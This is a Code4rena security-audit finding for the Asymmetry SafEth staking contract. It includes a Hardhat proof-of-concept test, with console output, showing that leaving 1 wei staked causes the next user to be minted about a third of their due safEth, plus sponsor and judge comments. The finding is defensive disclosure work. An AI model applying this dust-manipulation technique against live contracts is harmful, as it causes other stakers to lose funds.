Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 223/246
Findings: 1
Award: $3.49
π Selected for report: 0
π Solo Findings: 0
π Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L92
The given issue can cause users in loss of funds as only some of the wrapped token gets minted. Say there are 2 users. User1 stakes 1 ETH worth of amount in given 3 pools(currently there are 3 derivatives) and then unstakes almost max amount keeping 1 wei. Then when next user stakes 1 ETH worth of amount in pools the amount of safEth minted to user2 is 1/3 of what should be minted which is loss of funds for user2.
Hardhat Test::
it.only("Should be able to unstake almost max value", async () => { const accounts = await ethers.getSigners(); const derivativeCount = (await safEthProxy.derivativeCount()).toNumber(); const initialWeight = BigNumber.from("1000000000000000000"); const initialDeposit = ethers.utils.parseEther("1"); const balanceBefore = await adminAccount.getBalance(); let totalNetworkFee = BigNumber.from(0); // set all derivatives to the same weight and stake // if there are 3 derivatives this is 33/33/33 for (let i = 0; i < derivativeCount; i++) { const tx1 = await safEthProxy.adjustWeight(i, initialWeight); const mined1 = await tx1.wait(); const networkFee1 = mined1.gasUsed.mul(mined1.effectiveGasPrice); totalNetworkFee = totalNetworkFee.add(networkFee1); } // User stakes 1 ETH const tx2 = await safEthProxy.stake({ value: initialDeposit }); const mined2 = await tx2.wait(); const networkFee2 = mined2.gasUsed.mul(mined2.effectiveGasPrice); totalNetworkFee = totalNetworkFee.add(networkFee2); let balBefore: any = await safEthProxy.balanceOf(adminAccount.address); console.log("balance before unstake::", balBefore); // User unstakes almost all eth keeping 1 wei const tx5 = await safEthProxy.unstake( // Here make sure to unstake almost all amount keeping 1 wei // Eg., if amount is 1000099354898565650 then // unstake 1.000099354898565649 ethers.utils.parseEther("1.000099354898565649") ); let balanceAfter: any = await safEthProxy.balanceOf(adminAccount.address); console.log("balance after unstake::", balanceAfter); // Another user stakes const tx4 = await safEthProxy.connect(accounts[3]).stake({ value: initialDeposit }); const mined4 = await tx4.wait(); const networkFee4 = mined4.gasUsed.mul(mined4.effectiveGasPrice); totalNetworkFee = totalNetworkFee.add(networkFee4); balBefore = await safEthProxy.balanceOf(accounts[3].address); console.log("balance after 2nd staker::", balBefore); }) RESULT/Console logs:: // Balance of user1 after stake // 1000099354898565650 / 1e18 = 1.0000993548985657 balance before unstake:: BigNumber { value: "1000099354898565650" } // Balance of user1 after unstake balance after unstake:: BigNumber { value: "1" } // Balance of user2 after stake // 333366453692127163 / 1e18 = 0.33336645369212714 balance after 2nd staker:: BigNumber { value: "333366453692127163" }
Manual analysis
Please sure that if user is going to unstake then he doesn't keep dust amount and full amount gets unstaked.
#0 - c4-pre-sort
2023-04-04T20:40:24Z
0xSorryNotSorry marked the issue as primary issue
#1 - c4-sponsor
2023-04-07T16:08:55Z
elmutt marked the issue as disagree with severity
#2 - elmutt
2023-04-07T16:09:56Z
disagreeing with severity because it only happens in very small edge case when tiny amount is in contract
#3 - c4-sponsor
2023-04-07T16:10:01Z
elmutt marked the issue as sponsor acknowledged
#4 - c4-judge
2023-04-19T15:01:13Z
Picodes marked the issue as duplicate of #454
#5 - c4-judge
2023-04-21T16:21:09Z
Picodes marked the issue as duplicate of #1098
#6 - c4-judge
2023-04-24T21:10:12Z
Picodes marked the issue as satisfactory